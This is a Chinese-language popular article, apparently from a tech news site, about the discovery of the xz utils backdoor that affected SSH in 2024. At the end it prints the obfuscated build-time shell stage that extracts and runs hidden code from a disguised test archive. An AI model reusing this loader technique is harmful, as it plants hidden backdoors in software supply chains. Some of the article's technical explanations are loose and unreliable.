合作机构:阿里云 / 腾讯云 / 亚马逊云 / DreamHost / NameSilo / INWX / GODADDY / 百度统计
SSH 中触发的漏洞可以允许黑客接管服务器。安全专家感到恐慌。这次攻击可能持续了两年多,需要大量的资源和技术技能。
在过去的几个月里,每个人都在谈论 SSH 中触发的漏洞。通常对它的描述相当复杂。这只是某个随机应用程序中的另一个漏洞吗?如果是这样,为什么网络安全专家如此关注这一漏洞,而在线论坛上充斥着恐慌的安全专家?让我们一探究竟!
正如我们在 wiz.io 上读到的,在 xz utils 的 5.6.0
和 5.6.1
版本中发现了一个后门,影响了 SSH。据我们了解,xz 是一个命令行压缩工具,由 lzma 和 xz 组成,并影响了 SSH。
2024年3月29日星期五,Andres Freund向Openwall邮件列表发送了一封电子邮件。邮件列表对于精通技术的人来说就像Discord一样,而Openwall是一个保护开源代码的项目。
正是在那里,Andres 分享了他令人不安的发现。
他当时正在使用安全Shell协议(SSH)进行一些工作。对于几乎每一个需要连接到服务器的人来说,SSH就像意大利面的叉子一样。开发人员、DevOps、SecOps以及技术领域的每个人都在使用SSH安全地连接到服务器。即使服务器也使用SSH连接到其他服务器。
所以Andres当时正在做正常的技术工作,但有些事情不对劲,不仅仅是2024年橄榄油的价格。当他使用SSH登录到一台服务器时,服务器开始准备起飞。
风扇转动得越来越快,通常安静的服务器开始发出吸气和打嗝的声音。在这种时候,人们会检查他们是否忘记关闭Windows时钟应用程序,那个耗费CPU资源的野兽。
但是Andres使用的是Debian。所以他能够立即排除这种可能性。此外,他注意到了更多的问题。Valgrind开始报告内存出现了一些问题。
这可能是什么原因呢?Windows Explorer突然开始挖掘比特币了吗?不可能是这样的!
通常人们会责怪服务器,然后忘记整个问题,但有些事情困扰着Andres,他决定进行调查。
在深入研究之后,他注意到实际上是ssh导致了所有这些症状。这很奇怪,因为ssh不显示广告,你也不能在上面玩《古墓丽影:决定版》。
那么这个几乎不消耗卡路里的应用程序到底是如何让服务器如此剧烈运转的呢?
兔子洞深处 Andres决定再深入一点。他启动了诊断工具,越来越接近找出问题的具体原因。肯定是ssh,但ssh中的哪个具体部分呢?他注意到是xz。
深入下去,发现xz的一个特定部分导致了CPU和内存的狂欢派对——liblzma。
总结一下。Liblzma是xz命令行工具使用的压缩库。SSH使用了该命令行工具。这是计算机程序中正常的依赖链,在这种情况下,正是SSH的深层依赖liblzma导致了问题。
感谢开源,Andres能够上网查看究竟发生了什么。他能够看到Debian的xz utils的源代码。
Andres发现了大量关于恶意代码如何工作的信息。有两个测试文件实际上是存档文件。一个复杂的操作系统导致这些存档文件在构建过程中被提取出来,并以包含后门的方式修改SSH构建,让黑客可以登录到服务器。
有趣的是,Andres发现这个后门还在开发中。随着xz的后续版本发布,后门的作者试图隐藏后门的存在,并实际修复了导致Valgrind错误列表像圣诞树一样闪烁的内存问题。
幸运的是,这个后门的作者相当低级,这让Andres意识到有些不对劲。再过几天或几周,就没人会注意到有什么问题了。
The source code of the backdoor:
####Hello####
#??Z?.hj?
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
TOP